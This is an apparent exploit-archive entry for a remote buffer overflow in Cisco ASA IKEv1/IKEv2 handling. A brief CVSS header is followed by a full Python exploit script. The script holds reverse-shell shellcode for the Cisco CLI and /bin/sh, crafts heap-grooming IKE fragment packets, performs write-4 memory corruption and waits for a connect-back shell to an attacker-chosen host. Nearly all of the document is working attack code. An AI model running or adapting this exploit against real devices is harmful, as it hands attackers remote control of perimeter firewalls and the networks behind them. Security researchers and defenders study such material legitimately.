Cisco ASA Software 8.x / 9.x - IKEv1 and IKEv2 Buffer Overflow

2016.05.20
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/env python2.7 import socket import sys import struct import string import random import time # Spawns a reverse cisco CLI cliShellcode = ( "\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04" "\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08" "\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1" "\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7" "\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8" "\x00\x00\x00\xef\xcd\x1c\xa1\x55\x31\xed\x31\xff\x4f\xbe\x22\x00" "\x00\x00\xba\x07\x00\x00\x00\xb9\x00\x10\x00\x00\x31\xdb\xb8\xc0" "\x00\x00\x00\xcd\x80\x5d\x89\xc7\xeb\x26\x5e\xb9\x00\x04\x00\x00" "\xf3\xa5\x31\xdb\x6a\x03\x68\x00\x20\x00\x00\x53\x50\x68\xfd\xa8" "\xff\x09\xb8\xf0\xb7\x06\x08\xff\xd0\x83\xc4\x14\x61\x31\xc0\xc3" "\xe8\xd5\xff\xff\xff\x55\x89\xe5\x81\xec\x10\x04\x00\x00\xe9\xb1" "\x00\x00\x00\x58\x89\x85\xfc\xfb\xff\xff\x50\xb8\xf0\x07\x07\x08" "\xff\xd0\x83\xc4\x04\x89\x85\xf8\xfb\xff\xff\x89\xc3\x8b\x43\x04" "\x68\x80\xee\x36\x00\x68\x1a\x90\x01\x00\x53\xff\x50\x70\xc7\x44" "\x24\x04\x20\x90\x01\x00\x8b\x43\x04\xff\x50\x70\xc7\x85\xf4\xfb" "\xff\xff\x00\x40\x00\x00\x8d\x8d\xf4\xfb\xff\xff\x89\x4c\x24\x08" "\xc7\x44\x24\x04\x21\x90\x01\x00\x89\x1c\x24\x8b\x43\x04\xff\x50" "\x70\xbe\xc8\xef\xff\xff\x65\x8b\x06\x89\x98\x98\x00\x00\x00\xeb" "\x3a\xb8\x80\x0a\x0f\x08\xff\xd0\x5b\xc7\x43\x0c\xff\xff\xff\x17" "\x83\xc3\x14\xc7\x03\x65\x6e\x61\x62\xc7\x43\x04\x6c\x65\x5f\x31" "\xc7\x43\x08\x35\x00\x00\x00\x6a\x04\x68\x60\xc1\x52\x0a\xb8\x20" "\x68\x0f\x08\xff\xd0\x89\xec\x5d\x31\xc0\xc3\xe8\xc1\xff\xff\xff" "\x60\xc1\x52\x0a\xe8\x4a\xff\xff\xfftcp/CONNECT/3/@IP@/@PORT@\x00" ) # Spawns a reverse "/bin/sh" shShellcode = ( "\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04" "\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08" "\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1" "\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7" "\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8" "\x00\x00\x00\xef\xcd\x1c\xa1\xb8\x40\xbc\x2a\x09\xff\xd0\x61\xb8" "\x02\x00\x00\x00\xcd\x80\x85\xc0\x0f\x85\xa1\x01\x00\x00\xba\xed" "\x01\x00\x00\xb9\xc2\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x74" "\x6d\x70\x8d\x1c\x24\xb8\x05\x00\x00\x00\xcd\x80\x50\xeb\x31\x59" "\x8b\x11\x8d\x49\x04\x89\xc3\xb8\x04\x00\x00\x00\xcd\x80\x5b\xb8" "\x06\x00\x00\x00\xcd\x80\x8d\x1c\x24\x31\xd2\x52\x53\x8d\x0c\x24" "\xb8\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80" "\xe8\xca\xff\xff\xff\x46\x01\x00\x00\x7f\x45\x4c\x46\x01\x01\x01" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00" "\x00\x54\x80\x04\x08\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x34\x00\x20\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" "\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xf2\x00\x00" "\x00\xf2\x00\x00\x00\x07\x00\x00\x00\x00\x10\x00\x00\x55\x89\xe5" "\x83\xec\x10\x6a\x00\x6a\x01\x6a\x02\x8d\x0c\x24\xbb\x01\x00\x00" "\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4\x0c\x89\x45\xfc\x68\x7f" "\x00\x00\x01\x68\x02\x00\x04\x38\x8d\x14\x24\x6a\x10\x52\x50\x8d" "\x0c\x24\xbb\x03\x00\x00\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4" "\x14\x85\xc0\x7d\x18\x6a\x00\x6a\x01\x8d\x1c\x24\x31\xc9\xb8\xa2" "\x00\x00\x00\xcd\x80\x83\xc4\x08\xeb\xc4\x8b\x45\xfc\x83\xec\x20" "\x8d\x0c\x24\xba\x03\x00\x00\x00\x8b\x5d\xfc\xc7\x01\x05\x01\x00" "\x00\xb8\x04\x00\x00\x00\xcd\x80\xba\x04\x00\x00\x00\xb8\x03\x00" "\x00\x00\xcd\x80\xc7\x01\x05\x01\x00\x01\xc7\x41\x04\x0a\x64\x00" "\x01\x66\xc7\x41\x08\x11\x5c\xba\x0a\x00\x00\x00\xb8\x04\x00\x00" "\x00\xcd\x80\xba\x20\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\x83" "\xc4\x20\x8b\x5d\xfc\xb9\x02\x00\x00\x00\xb8\x3f\x00\x00\x00\xcd" "\x80\x49\x7d\xf6\x31\xd2\x68\x2d\x69\x00\x00\x89\xe7\x68\x2f\x73" "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x8d\x0c\x24\xb8" "\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\x31" "\xc0\xc3" ) # SA Session class Session(object): def __init__(self, host_port, id = None): if id == None: id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) self._host, self._port = host_port self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._id = id self._mid = 1 # Init session print("[+] Using session ID: " + self._id) self.send(self.make_SA()) # Check if we got something res = self.recv() cookie = res[8:16] print("[+] Cookie: " + cookie) self._cookie = cookie # Enforce value of 0x21 if ord(res[16]) != 0x21: raise Exception("Invalid router response") print("[+] New SA successfuly created.") # UPD socket helpers def send(self, buf): self._sock.sendto(buf, (self._host, self._port)) def recv(self, size = 4096): data, addr = self._sock.recvfrom(size) return data def make_SA(self): buf = "" buf += self._id # Initiator SPI buf += "\x00"*8 # Responder SPI buf += "\x21" # next payload (security association) buf += "\x20" # version buf += "\x22" # exchange type buf += "\x08" # flags buf += "\x00"*4 # message ID buf += "$$$$" # length # stolen from pcap # THIS IS SECURITY ASSOCIATION buf += "\x22\x00\x00\x6c\x00\x00\x00\x68\x01\x01\x00\x0b\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x01\x00\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x01\x00\x00\x03\x03\x00\x00\x08\x01\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x01\x03\x00\x00\x08\x03\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x01\x03\x00\x00\x08\x04\x00\x00\x02\x03\x00\x00\x08\x04\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x0e" # THIS IS KEY EXCHANGE # this is the type of the next payload... buf += "\x28" # 0x28 = Nonce, 0x2b = vendor ID # KEY EXCHANGE DATA buf += "\x00\x00\x88\x00\x02\x00\x00\x50\xea\xf4\x54\x1c\x61\x24\x1b\x59\x3f\x48\xcb\x12\x8c\xf1\x7f\x5f\xd4\xd8\xe9\xe2\xfd\x3c\x66\x70\xef\x08\xf6\x56\xcd\x83\x16\x65\xc1\xdf\x1c\x2b\xb1\xc4\x92\xca\xcb\xd2\x68\x83\x8e\x2f\x12\x94\x12\x48\xec\x78\x4b\x5d\xf3\x57\x87\x36\x1b\xba\x5b\x34\x6e\xec\x7e\x39\xc1\xc2\x2d\xf9\x77\xcc\x19\x39\x25\x64\xeb\xb7\x85\x5b\x16\xfc\x2c\x58\x56\x11\xfe\x49\x71\x32\xe9\xe8\x2d\x27\xbe\x78\x71\x97\x7a\x74\x42\x30\x56\x62\xa2\x99\x9c\x56\x0f\xfe\xd0\xa2\xe6\x8f\x72\x5f\xc3\x87\x4c\x7c\x9b\xa9\x80\xf1\x97\x57\x92" # this is the Nonce payload buf += "\x2b" buf += "\x00\x00\x18\x97\x40\x6a\x31\x04\x4d\x3f\x7d\xea\x84\x80\xe9\xc8\x41\x5f\x84\x49\xd3\x8c\xee" # lets try a vendor id or three buf += "\x2b" # next payload, more vendor ID buf += "\x00" # critical bit vid = "CISCO-DELETE-REASON" buf += struct.pack(">H", len(vid)+4) buf += vid # another vendor id buf += "\x2b" # next payload, more vendor ID buf += "\x00" # critical bit vid = "CISCO(COPYRIGHT)&Copyright (c) 2009 Cisco Systems, Inc." buf += struct.pack(">H", len(vid)+4) buf += vid # another vendor id buf += "\x2b" # next payload, more vid buf += "\x00" # crit vid = "CISCO-GRE-MODE" buf += struct.pack(">H", len(vid)+4) buf += vid # last vendor id buf += "\x00" # next payload buf += "\x00" vid = "\x40\x48\xb7\xd5\x6e\xbc\xe8\x85\x25\xe7\xde\x7f\x00\xd6\xc2\xd3" buf += struct.pack(">H", len(vid)+4) buf += vid return buf.replace("$$$$", struct.pack(">L", len(buf))) def make_cisco_fragment(self, flength, seqno, fragid, lastfrag, sploit): buf = '' buf += self._id # Initiator SPI (random) buf += self._cookie # Responder SPI buf += "\x84" # next payload buf += "\x20" # version buf += "\x25" # exchange type (2=identify protection) buf += "\x08" # flags buf += "\x00\x00\x00\x01" # message ID buf += "ABCD" # length # PAYLOAD payload = "" payload += "\x00" # next payload (none) payload += "\x00" # critical bit payload += struct.pack(">H", flength) #payload_len) # length payload += struct.pack(">H", fragid) # frag ID payload += struct.pack("B", seqno) # frag sequence payload += struct.pack("B", lastfrag) payload += sploit buf += payload return buf.replace("ABCD", struct.pack(">L", len(buf))) def send_fragment(self, flength, seqno, fragid, lastfrag, sploit): buf = self.make_cisco_fragment(flength, seqno, fragid, lastfrag, sploit) self.send(buf) # We're not supposed to receive anything if everything went # according to plan def make_cisco_option_list(self, opt_lst): buf = '' buf += self._id # Initiator SPI (random) buf += self._cookie # Responder SPI buf += "\x2f" # next payload buf += "\x20" # version buf += "\x25" # exchange type (2=identify protection) buf += "\x08" # flags buf += struct.pack(">I", 1) # message ID buf += "ABCD" # length # PAYLOAD payload = "" payload += "\x00" # next payload (none) payload += "\x00" # critical bit payload += "EF" #payload_len) # length payload += "\x03" # CFG_SET payload += "\x00\x00\x00" # Reserved total = 0x8 for size, n in opt_lst: option = struct.pack(">H", 0x6000) #id option += struct.pack(">H", size) # data length option += "A" * (size) total += (size + 4) * n payload += option * n buf += payload packet = buf.replace("ABCD", struct.pack(">L", len(buf))).replace("EF", struct.pack(">H", total)) return packet class Exploit(object): def __init__(self, host, revHost, revPort = 4444): self._host = host self._port = 500 self._revHost = revHost self._revPort = revPort self._sessions = [] # Create a new SA session def create_SA(self, id = None): # Create a new socket for session sess = Session((self._host, self._port), id) # Append to session list self._sessions.append(sess) return sess # Interact with reverse shell def interact(self): from telnetlib import Telnet s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((self._revHost, self._revPort)) s.listen(5) cli = s.accept()[0] s.close() print("[+] Got connect-back") t = Telnet() t.sock = cli t.interact() def buildPayload(self, cli = False): if cli == False: buf = bytearray(shShellcode) # Adjust IP and port buf[0x1ad:0x1b1] = socket.inet_aton(self._revHost) buf[0x1b5:0x1b7] = struct.pack(">H", self._revPort) Shellcode = bytes(buf) else: Shellcode = cliShellcode.replace("@IP@", self._revHost).replace("@PORT@", str(self._revPort)) return Shellcode if __name__ == "__main__": if len(sys.argv) < 3: print("[+] Usage: {0:s} <cisco IP> <attacker IP>[:port]".format(sys.argv[0])) sys.exit(0) #TODO: Check host host = sys.argv[1] revHost = sys.argv[2] # Parse revHost port = 4444 if revHost.rfind(":") != -1: revHost, port = revHost.split(":") port = int(port) exploit = Exploit(host, revHost, port) sess1 = exploit.create_SA() sess2 = exploit.create_SA() n = 0xd6 sess2.send_fragment(0x8 + n + 3, 1, 5, 0, "A" * (n + 3)) # Send packets which will trigger the vulnerability # Weird packet to get a size of 0x1 sess2.send_fragment(8 + -7, 0, 6, 1, "A" * (256 - 7)) # This fragment will be the one being copied # during the memory corruption buf = "A" * (n - 0xd + 0x3) buf += struct.pack("<I", 0xef000000) buf += struct.pack("<I", 0x00a11ccd) # chunk magics buf += struct.pack("<I", 0xe100d4d0) buf += struct.pack("B", 0x61) # set size from 0x31 to 0x61 in order to encompass the # adjacent chunk on free sess2.send_fragment(8 + n + 3, 1, 6, 0, buf) sess1.send_fragment(0x8 + 0xf8, 1, 0xeb, 0, "A" * 0xf8) pkt = sess1.make_cisco_option_list(( (0xd0, 0x30), ) ) # Defragment heap sess1.send(pkt) sess1.send(pkt) sess1.send(pkt) # Prepare a fake chunk buf = "" buf += struct.pack("<I", 0x60) buf += struct.pack("<I", 0x102) buf += struct.pack("<I", 0xa11c0123) buf += struct.pack("<I", 0xe0) buf += "A" * 0xe8 # And allocate it right after a 0x100 bytes hole sess1.send_fragment(0x8 + 0xf8, 2, 0xeb, 0, buf) # Trigger the overflow sess2.send_fragment(8 + -7, 3, 6, 1, "A" * (256 - 7)) # Retrieve of fake freed block #buf = "\xcc" * (0xd0 - len(buf)) buf = "\x00" * 0xd0 buf += struct.pack("<I", 0xe100d4d0) buf += struct.pack("<I", 0x31) # this is a special writable address in the process # it translate into the following executable code: # nop / jmp [ecx] # since ecx happens to hold a pointer to a controlled buffer # the execution flow will be redirected to attacker controlled data what = 0xc821ff90 # Just some writable address in the process which doesn't seem to be used where = 0xc8002000 - 0x8 buf += struct.pack("<I", what) buf += struct.pack("<I", where) buf += struct.pack("<I", 0xf3ee0123) buf += struct.pack("<I", 0x0) * 5 buf += struct.pack("<I", 0x5ee33210) buf += struct.pack("<I", 0xf3eecdef) buf += struct.pack("<I", 0x30) buf += struct.pack("<I", 0x132) buf += struct.pack("<I", 0xa11c0123) buf += struct.pack("<I", 0x100) buf += struct.pack("<I", 0x0) * 2 # Second write-4 pointers # This is the address of the pointer to the "list_add" function # which will give us control of execution flow where = 0x0A99B7A4 - 0x10 # This is the address where the opcode sequence "nop / jmp [ecx]" is located what = 0xc8002000 buf += struct.pack("<I", what) buf += struct.pack("<I", where) buf += "\x00" * (0x128 - len(buf)) # Try to chain a config list and a fragment packet packet = bytearray() packet += sess1._id # Initiator SPI (random) packet += sess1._cookie # Responder SPI packet += "\x2f" # next payload option list packet += "\x20" # version packet += "\x25" # exchange type (2=identify protection) packet += "\x08" # flags packet += struct.pack(">I", 1) # message ID packet += "XXXX" # total length including header payload = bytearray() payload += "\x00" # next payload (frag) payload += "\x00" # critical bit payload += "\x00\x00" # payload length payload += "\x03" # CFG_SET payload += "\x00\x00\x00" # Reserved size = 0x130 option = struct.pack(">H", 0x8400) #id option += struct.pack(">H", size) # data length option += "\x90" * 0x8 + buf payload += option * 0x10 # Update payload length payload[2:4] = struct.pack(">H", len(payload)) packet += payload # Update payload length packet[0x18:0x1C] = struct.pack(">I", len(packet)) packet = bytes(packet) # Reallocate the fake freed 0x130 bytes chunk with controlled data # this way we can perform a write-4 memory corruption when freeing # the subsequent memory sess1.send(packet) time.sleep(0.2) #raw_input() packet = bytearray() packet += sess1._id # Initiator SPI (random) packet += sess1._cookie # Responder SPI packet += "\x84" # next payload option list packet += "\x20" # version packet += "\x25" # exchange type (2=identify protection) packet += "\x08" # flags packet += struct.pack(">I", 1) # message ID packet += "XXXX" # total length including header buf = exploit.buildPayload(cli = True) flength = len(buf) + 0x8 fragid = 0xeb seqno = 0x5 lastfrag = 0 payload = bytearray() # Jump over garbage directly into shellcode (interpreted as jmp +0x6) payload += "\xeb" # next payload (none) payload += "\x06" # critical bit payload += struct.pack(">H", flength) #payload_len) # length payload += struct.pack(">H", fragid) # frag ID payload += struct.pack("B", seqno) # frag sequence payload += struct.pack("B", lastfrag) payload += buf packet += payload # Update payload length packet[0x18:0x1C] = struct.pack(">I", len(packet)) packet = bytes(packet) # Trigger the 2 write-4 and get code execution sess1.send(packet) # Hopefully we'll get something interesting exploit.interact()


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